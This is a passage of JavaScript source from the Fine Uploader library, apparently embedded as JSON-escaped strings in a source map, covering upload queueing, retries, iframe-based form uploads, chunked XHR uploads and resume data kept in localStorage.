}\n\n            return false;\n        },\n\n        reset: function() {\n            connectionManager._waiting = [];\n            connectionManager._open = [];\n        }\n    },\n\n    simple = {\n        send: function(id, name) {\n            handler._getFileState(id).loaded = 0;\n\n            log(\"Sending simple upload request for \" + id);\n            handler.uploadFile(id).then(\n                function(response, optXhr) {\n                    log(\"Simple upload request succeeded for \" + id);\n\n                    var responseToReport = upload.normalizeResponse(response, true),\n                        size = options.getSize(id);\n\n                    options.onProgress(id, name, size, size);\n                    upload.maybeNewUuid(id, responseToReport);\n                    upload.cleanup(id, responseToReport, optXhr);\n                },\n\n                function(response, optXhr) {\n                    log(\"Simple upload request failed for \" + id);\n\n                    var responseToReport = upload.normalizeResponse(response, false);\n\n                    if (!options.onAutoRetry(id, name, responseToReport, optXhr)) {\n                        upload.cleanup(id, responseToReport, optXhr);\n                    }\n                }\n            );\n        }\n    },\n\n    upload = {\n        cancel: function(id) {\n            log(\"Cancelling \" + id);\n            options.paramsStore.remove(id);\n            connectionManager.free(id);\n        },\n\n        cleanup: function(id, response, optXhr) {\n            var name = options.getName(id);\n\n            options.onComplete(id, name, response, optXhr);\n\n            if (handler._getFileState(id)) {\n                handler._clearXhrs && handler._clearXhrs(id);\n            }\n\n            connectionManager.free(id);\n        },\n\n        // Returns a qq.BlobProxy, or an actual File/Blob if no proxy is involved, or undefined\n        // if none of these are available for the ID\n        getProxyOrBlob: function(id) {\n            return (handler.getProxy && handler.getProxy(id)) ||\n                (handler.getFile && handler.getFile(id));\n        },\n\n        initHandler: function() {\n            var handlerType = namespace ? qq[namespace] : qq.traditional,\n                handlerModuleSubtype = qq.supportedFeatures.ajaxUploading ? \"Xhr\" : \"Form\";\n\n            handler = new handlerType[handlerModuleSubtype + \"UploadHandler\"](\n                options,\n                {\n                    getDataByUuid: options.getDataByUuid,\n                    getName: options.getName,\n                    getSize: options.getSize,\n                    getUuid: options.getUuid,\n                    log: log,\n                    onCancel: options.onCancel,\n                    onProgress: options.onProgress,\n                    onUuidChanged: options.onUuidChanged\n                }\n            );\n\n            if (handler._removeExpiredChunkingRecords) {\n                handler._removeExpiredChunkingRecords();\n            }\n        },\n\n        isDeferredEligibleForUpload: function(id) {\n            return options.isQueued(id);\n        },\n\n        // For Blobs that are part of a group of generated images, along with a reference image,\n        // this will ensure the blobs in the group are uploaded in the order they were triggered,\n        // even if some async processing must be completed on one or more Blobs first.\n        maybeDefer: function(id, blob) {\n            // If we don't have a file/blob yet & no file/blob exists for this item, request it,\n            // and then submit the upload to the specific handler once the blob is available.\n            // ASSUMPTION: This condition will only ever be true if XHR uploading is supported.\n            if (blob && !handler.getFile(id) && blob instanceof qq.BlobProxy) {\n\n                // Blob creation may take some time, so the caller may want to update the\n                // UI to indicate that an operation is in progress, even before the actual\n                // upload begins and an onUpload callback is invoked.\n                options.onUploadPrep(id);\n\n                log(\"Attempting to generate a blob on-demand for \" + id);\n                blob.create().then(function(generatedBlob) {\n                    log(\"Generated an on-demand blob for \" + id);\n\n                    // Update record associated with this file by providing the generated Blob\n                    handler.updateBlob(id, generatedBlob);\n\n                    // Propagate the size for this generated Blob\n                    options.setSize(id, generatedBlob.size);\n\n                    // Order handler to recalculate chunking possibility, if applicable\n                    handler.reevaluateChunking(id);\n\n                    upload.maybeSendDeferredFiles(id);\n                },\n\n                // Blob could not be generated.  Fail the upload & attempt to prevent retries.  Also bubble error message.\n                function(errorMessage) {\n                    var errorResponse = {};\n\n                    if (errorMessage) {\n                        errorResponse.error = errorMessage;\n                    }\n\n                    log(qq.format(\"Failed to generate blob for ID {}.  Error message: {}.\", id, errorMessage), \"error\");\n\n                    options.onComplete(id, options.getName(id), qq.extend(errorResponse, preventRetryResponse), null);\n                    upload.maybeSendDeferredFiles(id);\n                    connectionManager.free(id);\n                });\n            }\n            else {\n                return upload.maybeSendDeferredFiles(id);\n            }\n\n            return false;\n        },\n\n        // Upload any grouped blobs, in the proper order, that are ready to be uploaded\n        maybeSendDeferredFiles: function(id) {\n            var idsInGroup = options.getIdsInProxyGroup(id),\n                uploadedThisId = false;\n\n            if (idsInGroup && idsInGroup.length) {\n                log(\"Maybe ready to upload proxy group file \" + id);\n\n                qq.each(idsInGroup, function(idx, idInGroup) {\n                    if (upload.isDeferredEligibleForUpload(idInGroup) && !!handler.getFile(idInGroup)) {\n                        uploadedThisId = idInGroup === id;\n                        upload.now(idInGroup);\n                    }\n                    else if (upload.isDeferredEligibleForUpload(idInGroup)) {\n                        return false;\n                    }\n                });\n            }\n            else {\n                uploadedThisId = true;\n                upload.now(id);\n            }\n\n            return uploadedThisId;\n        },\n\n        maybeNewUuid: function(id, response) {\n            if (response.newUuid !== undefined) {\n                options.onUuidChanged(id, response.newUuid);\n            }\n        },\n\n        // The response coming from handler implementations may be in various formats.\n        // Instead of hoping a promise nested 5 levels deep will always return an object\n        // as its first param, let's just normalize the response here.\n        normalizeResponse: function(originalResponse, successful) {\n            var response = originalResponse;\n\n            // The passed \"response\" param may not be a response at all.\n            // It could be a string, detailing the error, for example.\n            if (!qq.isObject(originalResponse)) {\n                response = {};\n\n                if (qq.isString(originalResponse) && !successful) {\n                    response.error = originalResponse;\n                }\n            }\n\n            response.success = successful;\n\n            return response;\n        },\n\n        now: function(id) {\n            var name = options.getName(id);\n\n            if (!controller.isValid(id)) {\n                throw new qq.Error(id + \" is not a valid file ID to upload!\");\n            }\n\n            options.onUpload(id, name);\n\n            if (chunkingPossible && handler._shouldChunkThisFile(id)) {\n                chunked.sendNext(id);\n            }\n            else {\n                simple.send(id, name);\n            }\n        },\n\n        start: function(id) {\n            var blobToUpload = upload.getProxyOrBlob(id);\n\n            if (blobToUpload) {\n                return upload.maybeDefer(id, blobToUpload);\n            }\n            else {\n                upload.now(id);\n                return true;\n            }\n        }\n    };\n\n    qq.extend(this, {\n        /**\n         * Adds file or file input to the queue\n         **/\n        add: function(id, file) {\n            handler.add.apply(this, arguments);\n        },\n\n        /**\n         * Sends the file identified by id\n         */\n        upload: function(id) {\n            if (connectionManager.open(id)) {\n                return upload.start(id);\n            }\n            return false;\n        },\n\n        retry: function(id) {\n            // On retry, if concurrent chunking has been enabled, we may have aborted all other in-progress chunks\n            // for a file when encountering a failed chunk upload.  We then signaled the controller to ignore\n            // all failures associated with these aborts.  We are now retrying, so we don't want to ignore\n            // any more failures at this point.\n            if (concurrentChunkingPossible) {\n                handler._getFileState(id).temp.ignoreFailure = false;\n            }\n\n            // If we are attempting to retry a file that is already consuming a connection, this is likely an auto-retry.\n            // Just go ahead and ask the handler to upload again.\n            if (connectionManager.isUsingConnection(id)) {\n                return upload.start(id);\n            }\n\n            // If we are attempting to retry a file that is not currently consuming a connection,\n            // this is likely a manual retry attempt.  We will need to ensure a connection is available\n            // before the retry commences.\n            else {\n                return controller.upload(id);\n            }\n        },\n\n        /**\n         * Cancels file upload by id\n         */\n        cancel: function(id) {\n            var cancelRetVal = handler.cancel(id);\n\n            if (qq.isGenericPromise(cancelRetVal)) {\n                cancelRetVal.then(function() {\n                    upload.cancel(id);\n                });\n            }\n            else if (cancelRetVal !== false) {\n                upload.cancel(id);\n            }\n        },\n\n        /**\n         * Cancels all queued or in-progress uploads\n         */\n        cancelAll: function() {\n            var waitingOrConnected = connectionManager.getWaitingOrConnected(),\n                i;\n\n            // ensure files are cancelled in reverse order which they were added\n            // to avoid a flash of time where a queued file begins to upload before it is canceled\n            if (waitingOrConnected.length) {\n                for (i = waitingOrConnected.length - 1; i >= 0; i--) {\n                    controller.cancel(waitingOrConnected[i]);\n                }\n            }\n\n            connectionManager.reset();\n        },\n\n        // Returns a File, Blob, or the Blob/File for the reference/parent file if the targeted blob is a proxy.\n        // Undefined if no file record is available.\n        getFile: function(id) {\n            if (handler.getProxy && handler.getProxy(id)) {\n                return handler.getProxy(id).referenceBlob;\n            }\n\n            return handler.getFile && handler.getFile(id);\n        },\n\n        // Returns true if the Blob associated with the ID is related to a proxy s\n        isProxied: function(id) {\n            return !!(handler.getProxy && handler.getProxy(id));\n        },\n\n        getInput: function(id) {\n            if (handler.getInput) {\n                return handler.getInput(id);\n            }\n        },\n\n        reset: function() {\n            log(\"Resetting upload handler\");\n            controller.cancelAll();\n            connectionManager.reset();\n            handler.reset();\n        },\n\n        expunge: function(id) {\n            if (controller.isValid(id)) {\n                return handler.expunge(id);\n            }\n        },\n\n        /**\n         * Determine if the file exists.\n         */\n        isValid: function(id) {\n            return handler.isValid(id);\n        },\n\n        getResumableFilesData: function() {\n            if (handler.getResumableFilesData) {\n                return handler.getResumableFilesData();\n            }\n            return [];\n        },\n\n        /**\n         * This may or may not be implemented, depending on the handler.  For handlers where a third-party ID is\n         * available (such as the \"key\" for Amazon S3), this will return that value.  Otherwise, the return value\n         * will be undefined.\n         *\n         * @param id Internal file ID\n         * @returns {*} Some identifier used by a 3rd-party service involved in the upload process\n         */\n        getThirdPartyFileId: function(id) {\n            if (controller.isValid(id)) {\n                return handler.getThirdPartyFileId(id);\n            }\n        },\n\n        /**\n         * Attempts to pause the associated upload if the specific handler supports this and the file is \"valid\".\n         * @param id ID of the upload/file to pause\n         * @returns {boolean} true if the upload was paused\n         */\n        pause: function(id) {\n            if (controller.isResumable(id) && handler.pause && controller.isValid(id) && handler.pause(id)) {\n                connectionManager.free(id);\n                handler.moveInProgressToRemaining(id);\n                return true;\n            }\n            return false;\n        },\n\n        // True if the file is eligible for pause/resume.\n        isResumable: function(id) {\n            return !!handler.isResumable && handler.isResumable(id);\n        }\n    });\n\n    qq.extend(options, o);\n    log = options.log;\n    chunkingPossible = options.chunking.enabled && qq.supportedFeatures.chunking;\n    concurrentChunkingPossible = chunkingPossible && options.chunking.concurrent.enabled;\n\n    preventRetryResponse = (function() {\n        var response = {};\n\n        response[options.preventRetryParam] = true;\n\n        return response;\n    }());\n\n    upload.initHandler();\n};\n","/*globals qq */\n/*jshint -W117 */\nqq.WindowReceiveMessage = function(o) {\n    \"use strict\";\n\n    var options = {\n            log: function(message, level) {}\n        },\n        callbackWrapperDetachers = {};\n\n    qq.extend(options, o);\n\n    qq.extend(this, {\n        receiveMessage: function(id, callback) {\n            var onMessageCallbackWrapper = function(event) {\n                    callback(event.data);\n                };\n\n            if (window.postMessage) {\n                callbackWrapperDetachers[id] = qq(window).attach(\"message\", onMessageCallbackWrapper);\n            }\n            else {\n                log(\"iframe message passing not supported in this browser!\", \"error\");\n            }\n        },\n\n        stopReceivingMessages: function(id) {\n            if (window.postMessage) {\n                var detacher = callbackWrapperDetachers[id];\n                if (detacher) {\n                    detacher();\n                }\n            }\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common APIs exposed to creators of upload via form/iframe handlers.  This is reused and possibly overridden\n * in some cases by specific form upload handlers.\n *\n * @constructor\n */\nqq.FormUploadHandler = function(spec) {\n    \"use strict\";\n\n    var options = spec.options,\n        handler = this,\n        proxy = spec.proxy,\n        formHandlerInstanceId = qq.getUniqueId(),\n        onloadCallbacks = {},\n        detachLoadEvents = {},\n        postMessageCallbackTimers = {},\n        isCors = options.isCors,\n        inputName = options.inputName,\n        getUuid = proxy.getUuid,\n        log = proxy.log,\n        corsMessageReceiver = new qq.WindowReceiveMessage({log: log});\n\n    /**\n     * Remove any trace of the file from the handler.\n     *\n     * @param id ID of the associated file\n     */\n    function expungeFile(id) {\n        delete detachLoadEvents[id];\n\n        // If we are dealing with CORS, we might still be waiting for a response from a loaded iframe.\n        // In that case, terminate the timer waiting for a message from the loaded iframe\n        // and stop listening for any more messages coming from this iframe.\n        if (isCors) {\n            clearTimeout(postMessageCallbackTimers[id]);\n            delete postMessageCallbackTimers[id];\n            corsMessageReceiver.stopReceivingMessages(id);\n        }\n\n        var iframe = document.getElementById(handler._getIframeName(id));\n        if (iframe) {\n            // To cancel request set src to something else.  We use src=\"javascript:false;\"\n            // because it doesn't trigger ie6 prompt on https\n            /* jshint scripturl:true */\n            iframe.setAttribute(\"src\", \"javascript:false;\");\n\n            qq(iframe).remove();\n        }\n    }\n\n    /**\n     * @param iframeName `document`-unique Name of the associated iframe\n     * @returns {*} ID of the associated file\n     */\n    function getFileIdForIframeName(iframeName) {\n        return iframeName.split(\"_\")[0];\n    }\n\n    /**\n     * Generates an iframe to be used as a target for upload-related form submits.  This also adds the iframe\n     * to the current `document`.  Note that the iframe is hidden from view.\n     *\n     * @param name Name of the iframe.\n     * @returns {HTMLIFrameElement} The created iframe\n     */\n    function initIframeForUpload(name) {\n        var iframe = qq.toElement(\"<iframe src='javascript:false;' name='\" + name + \"' />\");\n\n        iframe.setAttribute(\"id\", name);\n\n        iframe.style.display = \"none\";\n        document.body.appendChild(iframe);\n\n        return iframe;\n    }\n\n    /**\n     * If we are in CORS mode, we must listen for messages (containing the server response) from the associated\n     * iframe, since we cannot directly parse the content of the iframe due to cross-origin restrictions.\n     *\n     * @param iframe Listen for messages on this iframe.\n     * @param callback Invoke this callback with the message from the iframe.\n     */\n    function registerPostMessageCallback(iframe, callback) {\n        var iframeName = iframe.id,\n            fileId = getFileIdForIframeName(iframeName),\n            uuid = getUuid(fileId);\n\n        onloadCallbacks[uuid] = callback;\n\n        // When the iframe has loaded (after the server responds to an upload request)\n        // declare the attempt a failure if we don't receive a valid message shortly after the response comes in.\n        detachLoadEvents[fileId] = qq(iframe).attach(\"load\", function() {\n            if (handler.getInput(fileId)) {\n                log(\"Received iframe load event for CORS upload request (iframe name \" + iframeName + \")\");\n\n                postMessageCallbackTimers[iframeName] = setTimeout(function() {\n                    var errorMessage = \"No valid message received from loaded iframe for iframe name \" + iframeName;\n                    log(errorMessage, \"error\");\n                    callback({\n                        error: errorMessage\n                    });\n                }, 1000);\n            }\n        });\n\n        // Listen for messages coming from this iframe.  When a message has been received, cancel the timer\n        // that declares the upload a failure if a message is not received within a reasonable amount of time.\n        corsMessageReceiver.receiveMessage(iframeName, function(message) {\n            log(\"Received the following window message: '\" + message + \"'\");\n            var fileId = getFileIdForIframeName(iframeName),\n                response = handler._parseJsonResponse(message),\n                uuid = response.uuid,\n                onloadCallback;\n\n            if (uuid && onloadCallbacks[uuid]) {\n                log(\"Handling response for iframe name \" + iframeName);\n                clearTimeout(postMessageCallbackTimers[iframeName]);\n                delete postMessageCallbackTimers[iframeName];\n\n                handler._detachLoadEvent(iframeName);\n\n                onloadCallback = onloadCallbacks[uuid];\n\n                delete onloadCallbacks[uuid];\n                corsMessageReceiver.stopReceivingMessages(iframeName);\n                onloadCallback(response);\n            }\n            else if (!uuid) {\n                log(\"'\" + message + \"' does not contain a UUID - ignoring.\");\n            }\n        });\n    }\n\n    qq.extend(this, new qq.UploadHandler(spec));\n\n    qq.override(this, function(super_) {\n        return {\n            /**\n             * Adds File or Blob to the queue\n             **/\n            add: function(id, fileInput) {\n                super_.add(id, {input: fileInput});\n\n                fileInput.setAttribute(\"name\", inputName);\n\n                // remove file input from DOM\n                if (fileInput.parentNode) {\n                    qq(fileInput).remove();\n                }\n            },\n\n            expunge: function(id) {\n                expungeFile(id);\n                super_.expunge(id);\n            },\n\n            isValid: function(id) {\n                return super_.isValid(id) &&\n                    handler._getFileState(id).input !== undefined;\n            }\n        };\n    });\n\n    qq.extend(this, {\n        getInput: function(id) {\n            return handler._getFileState(id).input;\n        },\n\n        /**\n         * This function either delegates to a more specific message handler if CORS is involved,\n         * or simply registers a callback when the iframe has been loaded that invokes the passed callback\n         * after determining if the content of the iframe is accessible.\n         *\n         * @param iframe Associated iframe\n         * @param callback Callback to invoke after we have determined if the iframe content is accessible.\n         */\n        _attachLoadEvent: function(iframe, callback) {\n            /*jslint eqeq: true*/\n            var responseDescriptor;\n\n            if (isCors) {\n                registerPostMessageCallback(iframe, callback);\n            }\n            else {\n                detachLoadEvents[iframe.id] = qq(iframe).attach(\"load\", function() {\n                    log(\"Received response for \" + iframe.id);\n\n                    // when we remove iframe from dom\n                    // the request stops, but in IE load\n                    // event fires\n                    if (!iframe.parentNode) {\n                        return;\n                    }\n\n                    try {\n                        // fixing Opera 10.53\n                        if (iframe.contentDocument &&\n                            iframe.contentDocument.body &&\n                            iframe.contentDocument.body.innerHTML == \"false\") {\n                            // In Opera event is fired second time\n                            // when body.innerHTML changed from false\n                            // to server response approx. after 1 sec\n                            // when we upload file with iframe\n                            return;\n                        }\n                    }\n                    catch (error) {\n                        //IE may throw an \"access is denied\" error when attempting to access contentDocument on the iframe in some cases\n                        log(\"Error when attempting to access iframe during handling of upload response (\" + error.message + \")\", \"error\");\n                        responseDescriptor = {success: false};\n                    }\n\n                    callback(responseDescriptor);\n                });\n            }\n        },\n\n        /**\n         * Creates an iframe with a specific document-unique name.\n         *\n         * @param id ID of the associated file\n         * @returns {HTMLIFrameElement}\n         */\n        _createIframe: function(id) {\n            var iframeName = handler._getIframeName(id);\n\n            return initIframeForUpload(iframeName);\n        },\n\n        /**\n         * Called when we are no longer interested in being notified when an iframe has loaded.\n         *\n         * @param id Associated file ID\n         */\n        _detachLoadEvent: function(id) {\n            if (detachLoadEvents[id] !== undefined) {\n                detachLoadEvents[id]();\n                delete detachLoadEvents[id];\n            }\n        },\n\n        /**\n         * @param fileId ID of the associated file\n         * @returns {string} The `document`-unique name of the iframe\n         */\n        _getIframeName: function(fileId) {\n            return fileId + \"_\" + formHandlerInstanceId;\n        },\n\n        /**\n         * Generates a form element and appends it to the `document`.  When the form is submitted, a specific iframe is targeted.\n         * The name of the iframe is passed in as a property of the spec parameter, and must be unique in the `document`.  Note\n         * that the form is hidden from view.\n         *\n         * @param spec An object containing various properties to be used when constructing the form.  Required properties are\n         * currently: `method`, `endpoint`, `params`, `paramsInBody`, and `targetName`.\n         * @returns {HTMLFormElement} The created form\n         */\n        _initFormForUpload: function(spec) {\n            var method = spec.method,\n                endpoint = spec.endpoint,\n                params = spec.params,\n                paramsInBody = spec.paramsInBody,\n                targetName = spec.targetName,\n                form = qq.toElement(\"<form method='\" + method + \"' enctype='multipart/form-data'></form>\"),\n                url = endpoint;\n\n            if (paramsInBody) {\n                qq.obj2Inputs(params, form);\n            }\n            else {\n                url = qq.obj2url(params, endpoint);\n            }\n\n            form.setAttribute(\"action\", url);\n            form.setAttribute(\"target\", targetName);\n            form.style.display = \"none\";\n            document.body.appendChild(form);\n\n            return form;\n        },\n\n        /**\n         * @param innerHtmlOrMessage JSON message\n         * @returns {*} The parsed response, or an empty object if the response could not be parsed\n         */\n        _parseJsonResponse: function(innerHtmlOrMessage) {\n            var response = {};\n\n            try {\n                response = qq.parseJson(innerHtmlOrMessage);\n            }\n            catch (error) {\n                log(\"Error when attempting to parse iframe upload response (\" + error.message + \")\", \"error\");\n            }\n\n            return response;\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common API exposed to creators of XHR handlers.  This is reused and possibly overriding in some cases by specific\n * XHR upload handlers.\n *\n * @constructor\n */\nqq.XhrUploadHandler = function(spec) {\n    \"use strict\";\n\n    var handler = this,\n        namespace = spec.options.namespace,\n        proxy = spec.proxy,\n        chunking = spec.options.chunking,\n        resume = spec.options.resume,\n        chunkFiles = chunking && spec.options.chunking.enabled && qq.supportedFeatures.chunking,\n        resumeEnabled = resume && spec.options.resume.enabled && chunkFiles && qq.supportedFeatures.resume,\n        getName = proxy.getName,\n        getSize = proxy.getSize,\n        getUuid = proxy.getUuid,\n        getEndpoint = proxy.getEndpoint,\n        getDataByUuid = proxy.getDataByUuid,\n        onUuidChanged = proxy.onUuidChanged,\n        onProgress = proxy.onProgress,\n        log = proxy.log;\n\n    function abort(id) {\n        qq.each(handler._getXhrs(id), function(xhrId, xhr) {\n            var ajaxRequester = handler._getAjaxRequester(id, xhrId);\n\n            xhr.onreadystatechange = null;\n            xhr.upload.onprogress = null;\n            xhr.abort();\n            ajaxRequester && ajaxRequester.canceled && ajaxRequester.canceled(id);\n        });\n    }\n\n    qq.extend(this, new qq.UploadHandler(spec));\n\n    qq.override(this, function(super_) {\n        return {\n            /**\n             * Adds File or Blob to the queue\n             **/\n            add: function(id, blobOrProxy) {\n                if (qq.isFile(blobOrProxy) || qq.isBlob(blobOrProxy)) {\n                    super_.add(id, {file: blobOrProxy});\n                }\n                else if (blobOrProxy instanceof qq.BlobProxy) {\n                    super_.add(id, {proxy: blobOrProxy});\n                }\n                else {\n                    throw new Error(\"Passed obj is not a File, Blob, or proxy\");\n                }\n\n                handler._initTempState(id);\n                resumeEnabled && handler._maybePrepareForResume(id);\n            },\n\n            expunge: function(id) {\n                abort(id);\n                handler._maybeDeletePersistedChunkData(id);\n                handler._clearXhrs(id);\n                super_.expunge(id);\n            }\n        };\n    });\n\n    qq.extend(this, {\n        // Clear the cached chunk `Blob` after we are done with it, just in case the `Blob` bytes are stored in memory.\n        clearCachedChunk: function(id, chunkIdx) {\n            delete handler._getFileState(id).temp.cachedChunks[chunkIdx];\n        },\n\n        clearXhr: function(id, chunkIdx) {\n            var tempState = handler._getFileState(id).temp;\n\n            if (tempState.xhrs) {\n                delete tempState.xhrs[chunkIdx];\n            }\n            if (tempState.ajaxRequesters) {\n                delete tempState.ajaxRequesters[chunkIdx];\n            }\n        },\n\n        // Called when all chunks have been successfully uploaded.  Expected promissory return type.\n        // This defines the default behavior if nothing further is required when all chunks have been uploaded.\n        finalizeChunks: function(id, responseParser) {\n            var lastChunkIdx = handler._getTotalChunks(id) - 1,\n                xhr = handler._getXhr(id, lastChunkIdx);\n\n            if (responseParser) {\n                return new qq.Promise().success(responseParser(xhr), xhr);\n            }\n\n            return new qq.Promise().success({}, xhr);\n        },\n\n        getFile: function(id) {\n            return handler.isValid(id) && handler._getFileState(id).file;\n        },\n\n        getProxy: function(id) {\n            return handler.isValid(id) && handler._getFileState(id).proxy;\n        },\n\n        /**\n         * @returns {Array} Array of objects containing properties useful to integrators\n         * when it is important to determine which files are potentially resumable.\n         */\n        getResumableFilesData: function() {\n            var resumableFilesData = [];\n\n            handler._iterateResumeRecords(function(key, uploadData) {\n                handler.moveInProgressToRemaining(null, uploadData.chunking.inProgress,  uploadData.chunking.remaining);\n\n                var data = {\n                    name: uploadData.name,\n                    remaining: uploadData.chunking.remaining,\n                    size: uploadData.size,\n                    uuid: uploadData.uuid\n                };\n\n                if (uploadData.key) {\n                    data.key = uploadData.key;\n                }\n\n                resumableFilesData.push(data);\n            });\n\n            return resumableFilesData;\n        },\n\n        isResumable: function(id) {\n            return !!chunking && handler.isValid(id) && !handler._getFileState(id).notResumable;\n        },\n\n        moveInProgressToRemaining: function(id, optInProgress, optRemaining) {\n            var inProgress = optInProgress || handler._getFileState(id).chunking.inProgress,\n                remaining = optRemaining || handler._getFileState(id).chunking.remaining;\n\n            if (inProgress) {\n                log(qq.format(\"Moving these chunks from in-progress {}, to remaining.\", JSON.stringify(inProgress)));\n                inProgress.reverse();\n                qq.each(inProgress, function(idx, chunkIdx) {\n                    remaining.unshift(chunkIdx);\n                });\n                inProgress.length = 0;\n            }\n        },\n\n        pause: function(id) {\n            if (handler.isValid(id)) {\n                log(qq.format(\"Aborting XHR upload for {} '{}' due to pause instruction.\", id, getName(id)));\n                handler._getFileState(id).paused = true;\n                abort(id);\n                return true;\n            }\n        },\n\n        reevaluateChunking: function(id) {\n            if (chunking && handler.isValid(id)) {\n                var state = handler._getFileState(id),\n                    totalChunks,\n                    i;\n\n                delete state.chunking;\n\n                state.chunking = {};\n                totalChunks = handler._getTotalChunks(id);\n                if (totalChunks > 1 || chunking.mandatory) {\n                    state.chunking.enabled = true;\n                    state.chunking.parts = totalChunks;\n                    state.chunking.remaining = [];\n\n                    for (i = 0; i < totalChunks; i++) {\n                        state.chunking.remaining.push(i);\n                    }\n\n                    handler._initTempState(id);\n                }\n                else {\n                    state.chunking.enabled = false;\n                }\n            }\n        },\n\n        updateBlob: function(id, newBlob) {\n            if (handler.isValid(id)) {\n                handler._getFileState(id).file = newBlob;\n            }\n        },\n\n        _clearXhrs: function(id) {\n            var tempState = handler._getFileState(id).temp;\n\n            qq.each(tempState.ajaxRequesters, function(chunkId) {\n                delete tempState.ajaxRequesters[chunkId];\n            });\n\n            qq.each(tempState.xhrs, function(chunkId) {\n                delete tempState.xhrs[chunkId];\n            });\n        },\n\n        /**\n         * Creates an XHR instance for this file and stores it in the fileState.\n         *\n         * @param id File ID\n         * @param optChunkIdx The chunk index associated with this XHR, if applicable\n         * @returns {XMLHttpRequest}\n         */\n        _createXhr: function(id, optChunkIdx) {\n            return handler._registerXhr(id, optChunkIdx, qq.createXhrInstance());\n        },\n\n        _getAjaxRequester: function(id, optChunkIdx) {\n            var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;\n            return handler._getFileState(id).temp.ajaxRequesters[chunkIdx];\n        },\n\n        _getChunkData: function(id, chunkIndex) {\n            var chunkSize = chunking.partSize,\n                fileSize = getSize(id),\n                fileOrBlob = handler.getFile(id),\n                startBytes = chunkSize * chunkIndex,\n                endBytes = startBytes + chunkSize >= fileSize ? fileSize : startBytes + chunkSize,\n                totalChunks = handler._getTotalChunks(id),\n                cachedChunks = this._getFileState(id).temp.cachedChunks,\n\n            // To work around a Webkit GC bug, we must keep each chunk `Blob` in scope until we are done with it.\n            // See https://github.com/Widen/fine-uploader/issues/937#issuecomment-41418760\n                blob = cachedChunks[chunkIndex] || qq.sliceBlob(fileOrBlob, startBytes, endBytes);\n\n            cachedChunks[chunkIndex] = blob;\n\n            return {\n                part: chunkIndex,\n                start: startBytes,\n                end: endBytes,\n                count: totalChunks,\n                blob: blob,\n                size: endBytes - startBytes\n            };\n        },\n\n        _getChunkDataForCallback: function(chunkData) {\n            return {\n                partIndex: chunkData.part,\n                startByte: chunkData.start + 1,\n                endByte: chunkData.end,\n                totalParts: chunkData.count\n            };\n        },\n\n        /**\n         * @param id File ID\n         * @returns {string} Identifier for this item that may appear in the browser's local storage\n         */\n        _getLocalStorageId: function(id) {\n            var formatVersion = \"5.0\",\n                name = getName(id),\n                size = getSize(id),\n                chunkSize = chunking.partSize,\n                endpoint = getEndpoint(id);\n\n            return qq.format(\"qq{}resume{}-{}-{}-{}-{}\", namespace, formatVersion, name, size, chunkSize, endpoint);\n        },\n\n        _getMimeType: function(id) {\n            return handler.getFile(id).type;\n        },\n\n        _getPersistableData: function(id) {\n            return handler._getFileState(id).chunking;\n        },\n\n        /**\n         * @param id ID of the associated file\n         * @returns {number} Number of parts this file can be divided into, or undefined if chunking is not supported in this UA\n         */\n        _getTotalChunks: function(id) {\n            if (chunking) {\n                var fileSize = getSize(id),\n                    chunkSize = chunking.partSize;\n\n                return Math.ceil(fileSize / chunkSize);\n            }\n        },\n\n        _getXhr: function(id, optChunkIdx) {\n            var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;\n            return handler._getFileState(id).temp.xhrs[chunkIdx];\n        },\n\n        _getXhrs: function(id) {\n            return handler._getFileState(id).temp.xhrs;\n        },\n\n        // Iterates through all XHR handler-created resume records (in local storage),\n        // invoking the passed callback and passing in the key and value of each local storage record.\n        _iterateResumeRecords: function(callback) {\n            if (resumeEnabled) {\n                qq.each(localStorage, function(key, item) {\n                    if (key.indexOf(qq.format(\"qq{}resume\", namespace)) === 0) {\n                        var uploadData = JSON.parse(item);\n                        callback(key, uploadData);\n                    }\n                });\n            }\n        },\n\n        _initTempState: function(id) {\n            handler._getFileState(id).temp = {\n                ajaxRequesters: {},\n                chunkProgress: {},\n                xhrs: {},\n                cachedChunks: {}\n            };\n        },\n\n        _markNotResumable: function(id) {\n            handler._getFileState(id).notResumable = true;\n        },\n\n        // Removes a chunked upload record from local storage, if possible.\n        // Returns true if the item was removed, false otherwise.\n        _maybeDeletePersistedChunkData: function(id) {\n            var localStorageId;\n\n            if (resumeEnabled && handler.isResumable(id)) {\n                localStorageId = handler._getLocalStorageId(id);\n\n                if (localStorageId && localStorage.getItem(localStorageId)) {\n                    localStorage.removeItem(localStorageId);\n                    return true;\n                }\n            }\n\n            return false;\n        },\n\n        // If this is a resumable upload, grab the relevant data from storage and items in memory that track this upload\n        // so we can pick up from where we left off.\n        _maybePrepareForResume: function(id) {\n            var state = handler._getFileState(id),\n                localStorageId, persistedData;\n\n            // Resume is enabled and possible and this is the first time we've tried to upload this file in this session,\n            // so prepare for a resume attempt.\n            if (resumeEnabled && state.key === undefined) {\n                localStorageId = handler._getLocalStorageId(id);\n                persistedData = localStorage.getItem(localStorageId);\n\n                // If we found this item in local storage, maybe we should resume it.\n                if (persistedData) {\n                    persistedData = JSON.parse(persistedData);\n\n                    // If we found a resume record but we have already handled this file in this session,\n                    // don't try to resume it & ensure we don't persist future check data\n                    if (getDataByUuid(persistedData.uuid)) {\n                        handler._markNotResumable(id);\n                    }\n                    else {\n                        log(qq.format(\"Identified file with ID {} and name of {} as resumable.\", id, getName(id)));\n\n                        onUuidChanged(id, persistedData.uuid);\n\n                        state.key = persistedData.key;\n                        state.chunking = persistedData.chunking;\n                        state.loaded = persistedData.loaded;\n                        state.attemptingResume = true;\n\n                        handler.moveInProgressToRemaining(id);\n                    }\n                }\n            }\n        },\n\n        // Persist any data needed to resume this upload in a new session.\n        _maybePersistChunkedState: function(id) {\n            var state = handler._getFileState(id),\n                localStorageId, persistedData;\n\n            // If local storage isn't supported by the browser, or if resume isn't enabled or possible, give up\n            if (resumeEnabled && handler.isResumable(id)) {\n                localStorageId = handler._getLocalStorageId(id);\n\n                persistedData = {\n                    name: getName(id),\n                    size: getSize(id),\n                    uuid: getUuid(id),\n                    key: state.key,\n                    chunking: state.chunking,\n                    loaded: state.loaded,\n                    lastUpdated: Date.now()\n                };\n\n                try {\n                    localStorage.setItem(localStorageId, JSON.stringify(persistedData));\n                }\n                catch (error) {\n                    log(qq.format(\"Unable to save resume data for '{}' due to error: '{}'.\", id, error.toString()), \"warn\");\n                }\n            }\n        },\n\n        _registerProgressHandler: function(id, chunkIdx, chunkSize) {\n            var xhr = 